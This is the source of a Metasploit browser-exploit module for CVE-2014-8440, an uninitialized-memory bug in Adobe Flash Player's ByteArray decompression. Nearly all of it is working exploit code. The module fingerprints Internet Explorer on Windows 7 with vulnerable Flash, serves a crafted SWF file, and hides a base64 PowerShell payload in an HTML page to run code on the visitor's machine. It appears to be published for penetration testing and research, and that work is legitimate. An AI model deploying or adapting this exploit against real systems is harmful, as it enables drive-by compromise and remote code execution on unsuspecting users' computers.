This Metasploit module exploits an uninitialized memory vulnerability in Adobe Flash Player. The vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, which fails to initialize allocated memory. When using a correct memory layout this vulnerability leads to a ByteArray object corruption, which can be abused to access and corrupt memory. This Metasploit module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 15.0.0.189.
5e90527feb81af64901755b776a489cf3494498219d1281419ecb16f62818f6f##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory',
'Description' => %q{
This module exploits an unintialized memory vulnerability in Adobe Flash Player. The
vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, which fails
to initialize allocated memory. When using a correct memory layout this vulnerability
leads to a ByteArray object corruption, which can be abused to access and corrupt memory.
This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with
Flash 15.0.0.189.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nicolas Joly', # Vulnerability discovery
'Unknown', # Exploit in the wild
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2014-8440'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-24.html'],
['URL', 'http://malware.dontneedcoffee.com/2014/11/cve-2014-8440.html'],
['URL', 'http://www.verisigninc.com/en_US/cyber-security/security-intelligence/vulnerability-reports/articles/index.xhtml?id=1081']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^15\./ && ver <= '15.0.0.189' },
:arch => ARCH_X86
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'Nov 11 2014',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-8440', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end
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